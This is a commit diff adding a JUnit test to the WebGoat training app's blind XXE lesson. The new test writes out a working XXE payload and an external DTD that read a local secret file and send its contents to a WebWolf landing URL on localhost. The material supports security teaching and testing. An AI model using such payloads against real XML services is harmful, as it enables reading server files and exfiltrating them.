Add different solution for XXE attack
This commit is contained in:
parent
4d7d0058c3
commit
651698d96c
@ -89,7 +89,34 @@ public class BlindSendFileAssignmentTest extends LessonTest {
|
|||||||
"%remote;" +
|
"%remote;" +
|
||||||
"]>" +
|
"]>" +
|
||||||
"<comment><text>test&send;</text></comment>";
|
"<comment><text>test&send;</text></comment>";
|
||||||
|
performXXE(xml);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void solveOnlyParamReferenceEntityInExternalDTD() throws Exception {
|
||||||
|
File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt");
|
||||||
|
//Host DTD on WebWolf site
|
||||||
|
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
||||||
|
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:9090/landing?text=%file;'>\">\n";
|
||||||
|
webwolfServer.stubFor(get(WireMock.urlMatching("/files/test.dtd"))
|
||||||
|
.willReturn(aResponse()
|
||||||
|
.withStatus(200)
|
||||||
|
.withBody(dtd)));
|
||||||
|
webwolfServer.stubFor(get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200)));
|
||||||
|
|
||||||
|
//Make the request from WebGoat
|
||||||
|
String xml = "<?xml version=\"1.0\"?>" +
|
||||||
|
"<!DOCTYPE comment [" +
|
||||||
|
"<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" +
|
||||||
|
"<!ENTITY % remote SYSTEM \"http://localhost:9090/files/test.dtd\">" +
|
||||||
|
"%remote;" +
|
||||||
|
"%all;" +
|
||||||
|
"]>" +
|
||||||
|
"<comment><text>test&send;</text></comment>";
|
||||||
|
performXXE(xml);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void performXXE(String xml) throws Exception {
|
||||||
//Call with XXE injection
|
//Call with XXE injection
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||||
.content(xml))
|
.content(xml))
|
||||||
|
Loading…
x
Reference in New Issue
Block a user